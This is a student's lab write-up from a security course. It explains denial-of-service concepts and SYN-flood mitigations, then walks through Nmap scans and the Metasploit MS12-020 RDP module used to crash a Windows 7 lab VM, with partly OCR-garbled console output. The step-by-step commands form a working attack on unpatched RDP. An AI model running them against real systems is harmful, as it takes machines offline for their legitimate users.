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1. [bookmark: _Toc84601426]General Context
In this lab we use a software application called Metasploit to cause a Denial of Service (DoS) attack against a Windows endpoint. A DoS attack is an attack that is meant to shut down a machine or network, making it inaccessible to its intended users. DoS attacks accomplish this by flooding a target with traffic, or sending information that triggers a crash (What Is a Denial of Service Attack (DoS) ?, n.d.). Information Security focuses it’s goals and objective around the ‘CIA triad’ which stands for Confidentiality, Availability, and Integrity. These three principals form the cornerstone of any organizations security infrastructure, posture, and policy (Walkowski, 2019).
What this means is that it can be somewhat tough for Information Security professionals to know that they are succeeding at their jobs. It’s not possible to know how many attacks and threats you may have stopped, but it is possible to know that you’ve ensured the confidentiality, integrity, and availability of a system, message, data stream, application, or other. DoS attacks take direct aim at the principal of availability, so it’s crucial that as Information Security professionals we are prepared to prevent the many different ways that different systems can be attacked.
DoS attacks can come in many different attack styles. If a web service only has a set number of connections available or memory or other resources, it’s somewhat simple to launch an attack to exhaust all available resources and if the attack is using everything that’s available nothing is left for normal users. Resource and connection exhaustion happens because of how TCP works. TCP has a three-way handshake that consists of a SYN, an ACK, and then a SYN-ACK, and if an endpoint sends a SYN packet the service will wait until the set timeout period before releasing the connection. This means that an attacked can send a ‘SYN-flood’ that just sends massive amounts of SYN packets and then nothing else which ties up all of the connections until they time out. SYN floods are described in much greater detail in Cloudflares page on ‘How does a SYN flood attack work?’ (SYN Flood DDoS Attack, n.d.). The biggest difference between a SYN flood attack and a DoS attack against a vulnerable system, is that SYN floods can work against systems that are fully patched and don’t have any exploitable vulnerabilities one of the best ways to prevent these attacks are with an additional piece of hardware like a SYN-proxy, there are third party services like Cloudflare that can handle the initial TCP handshake and not forward the connection on to your services until it’s completed which reduces the load on your services to only be full-fledged connections, but they can also be mitigated by increasing the total number of connections allowed as well as reducing the timeout limit so stale connections get terminated more quickly. Other DoS attacks most often work because certain applications and hardware have different vulnerabilities in them that react poorly when presented with a certain specialized packet of data, so sometimes attackers will identify these weaker systems or applications and launch various ‘bad packets’ to try to crash their target rendering them unavailable. The DoS of choice for many attackers in recent years is a Distributed Denial of Service where thousands upon thousands of endpoints in different botnets all send traffic at a specific target overwhelming the target and even the internet connections for it making it so no legitimate traffic can get in or out. In this lab, we are focusing on the second example. We will be identifying our target, and seeing Remote Desktop running we can load up a RDP exploit and launch our attack.
2. [bookmark: _Toc84601427]Technical Context
Back in my undergrad course work I was told “if you’re going to defend your network from hackers, you have to think like one”. That is the basic intention of this lab. We fire up a Kali Linux virtual machine, as well as a vulnerable, exploitable Windows 7 virtual machine. The goal of the lab is started at the onset, but we know we have a machine with an arsenal of penetration testing tools, and we have a vulnerable machine that we are meant to DoS, but how? 
One of the first things that any attacker will do is look to see what is on the localized network to give them a chance to move laterally. Crowdstrike says that there are three stages to lateral movement: reconnaissance, credential/privilege gathering, and gaining access to other computers on the network (Lateral Movement Explained | What Is Lateral Movement?, n.d.). In this lab, we aren’t trying to gather credentials or gain access, but the reconnaissance is the important part. We have it easy because we are on the Windows machine so we can just executre `ipconfig` and see it’s IP address, as a true attacker we would need to identify the network and subnet size that the compromised machine is on, and then perform a scan looking for alive hosts, followed by a scan to see what ports are open on those hosts that were found. When we scan our Windows VM we see that port 3389 is open in listening, which is the registered port for Microsoft Remote Desktop Protocol (RDP). RDP has a lot of vulnerabilities and overall weaknesses so it should always be protected and not directly exposed to the internet, but in our case we’re already on the internal network. Rather than try to exploit the RDP service to gain access to the machine, it’s our mission to just find and execute a DoS on the machine to prevent others from being able to use it.
This is a good introduction to some basic functionality of how Metasploit and Nmap function, but most attackers wouldn’t find their way to access on an internal network only to do something that was a noisy as a DoS to bring unwanted attention to them. So while educational, it’s not exactly realistic example of what an attacker in the real-world would actually do.
3. [bookmark: _Toc84601428]Solution
We  start of this lab by starting up both the Kali Linux and Vulnerable Windows VMs. The next step is to log on to the Windows machine, open a command prompt, and then run `ipconfig` which will give us the IP address of the target that we will be attacking.
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Figure 1 - start up both virtual machines
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Figure 2 - identify the Windows VM IP address
	The next step is to switch over the Kali Linux box and start up Nmap to scan the Windows host looking for open ports by running the command `nmap -p- 10.1.112.145` where the -p- tells Nmap to scan all 65,535 ports. In Figure 3, we can see the Nmap results showing port 3389 open, but it also shows 999 filtered ports.
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Figure 3 - Nmap scan results



	If we modify the Nmap command slightly we can change the scan type, and also enable debug which will give us some additional information about the filtered ports. Nmap will put ‘filtered’ when it cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. In Figure 4, it shows that the 999 ports were filtered because they were ‘no-responses’. 
[image: Text

Description automatically generated]
Figure 4 - Nmap debug output
	Now that we know that 3389 is open, we can first start up the PostgreSQL service on our Kali Linux box, and then start up Metasploit with `msfconsole`. Then we search for an appropriate module. We know we are targeting RDP on Windows and we want to DoS it, so search for `dos/windows/rdp’ and ‘auxiliary/dos/windows/rdp/ms12_020_maxchannelids’ shows up as a ‘Microsoft Remote Desktop Use-After-Free DoS’ module.
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Figure 5 - Start PostgreSQL
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Figure 6 - Search in Metasploit
	We use the `use` command in Metasploit to select that module, and then set our remote host or rhost as the IP of the Windows vulnerable machine. We can run `show options` to verify the module and rhost and rport, and then finally run `exploit` to start the attack.
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Figure 7 - Metaploit Module Options
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Figure 8 - Launch Attack From Metasploit
	Finally, if we switch back to the window for our vulnerable Windows host, you’ll see an error pop up that the Windows machine is no longer available because Metasploit sent a corrupt packet to port 3389.
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Figure 9 - Windows No Longer Accessible
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scottfinlon:#/usr/bin/nmap -p- 10.1.112.145
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-06 14:02 UTC

scottfinlon:#/usr/bin/nmap -sS 10.1.112.145
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-06 14:24 UTC
Nnap scan report for ip-10-1-112-145.ec2.internal (10.1.112.145)
Host is up (0.00031s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE

3389/tcp open ms-wbt-server

MAC Address: OA:34:CF:E8:E6:2B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.40 seconds
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scottfinlon:~#/usr/bin/nmap -ss -d -nP 10.1.112.145

Warning: The -P option is deprecated. Please use -PE

Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 02:34 UTC
PORTS: Using top 1000 ports found open (TCP:1000, UDP:0, SCTP:0)
Timing report --
hostgroups: min 1, max 100000
rtt-tineouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 0

max-retries: 10, host-timeout: o

min-rate: 0, max-rate: 0

Initiating ARP Ping Scan at 02:34
Scanning 10.1.112.145 [1 port]

Packet capture filter (device eth@): arp and arp[18:4] = 0x0AE47983 and arp[22:2] = 0x5B5D

Completed ARP Ping Scan at 02:34, 0.04s elapsed (1 total hosts)

Overall sending rates: 28.10 packets / s, 1180.21 bytes / s.

Initiating SYN Stealth Scan at 02:34

Scanning 10.1.112.145 [1000 ports]

Packet capture filter (device eth0): dst host 10.1.125.109 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 10.1.112.145)))
Discovered open port 3389/tcp on 10.1.112.145

Completed SYN Stealth Scan at 02:34, 4.75s elapsed (1000 total ports)

Overall sending rates: 421.00 packets / s, 18523.80 bytes / s.

Nmap scan report for 10.1.112.145

Host is up, received arp-response (0.00028s latency).

Scanned at 2021-10-07 02:34:22 UTC for 5s

Not shown: 999 filtered ports

Reason: 999 no-responses

PORT  STATE SERVICE REASON

3389/tcp open ms-wbt-server syn-ack ttl 128

MAC Address: OA:34:CF:E8:E6:2B (Unknown)

Final times for host: srtt: 283 rttvar: 2342 to: 100000

Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-services.
Nmap done: 1 IP address (1 host up) scanned in 4.91 seconds
Raw packets sent: 2002 (88.072KB) | Rcvd: 4 (160B)
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scottfinlon:#service postgresql start
scottfinlon:#service postgresql status
o postgresql.service - PostgresqQL RDBMS
Loaded: loaded (/1ib/systemd/systen/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Wed 2021-10-06 14:56:07 UTC; 2s ago
Process: 2364 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2364 (code=exited, status=0/SUCCESS)

7 kali systemd[1]: Starting PostgresqL RDBMS.
kali systemd[1]: Finished PostgreSQL RDBMS.

Oct 06 14:56
oct 06
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msf5 > search dos/windows/rdp

Matching Modules

# Name Disclosure Date Rank  Check Description

0 auxiliary/@OS/WiNdOWS/Eap/ms12_020_maxchannelids 2012-03-16

normal No  MS12-020 Microsoft Remote Desktop Use-After-Free DoS
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msf5 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
mSF5 auxiliary( - i oo cp e i0 000 hicninel i) > set rhost 10.1.112.145
10.1.112.145
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msf5 auxiliary(dos/windows/rdp/nsiz 020 naxchannelids) > show options
Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

Name current Setting Required Description

RHOSTS 10.1.112.145  yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>’
RPORT 3389 yes The target port (TCP)

msfs auxiliary(dos/windows/rdp/ns12_020_naxchannelids) > exploit
[*] Running module against 10.1.112.145

[+] 10.1.112.145:3389
[+] 10.1.112.145:3389

10.1.112.145:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
10.1.112.145:3389 - 210 bytes sent
[+] 10.1.112.145:3389 - 10.1.112.145:3389 - Checking RDP status...

[+] 10.1.112.145:3389 - 10.1.112.145:3389 seems down

[+] Auxiliary module execution completed
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CONNECTION ERROR

The target system is currently
unreachable. You may be able to
reconnect, or you may need to return to
the exercise area and power cycle your
exercise. If this problem persists an
Instructor or TA may need to reset the
exercise.

Reconnecting in 12 seconds...
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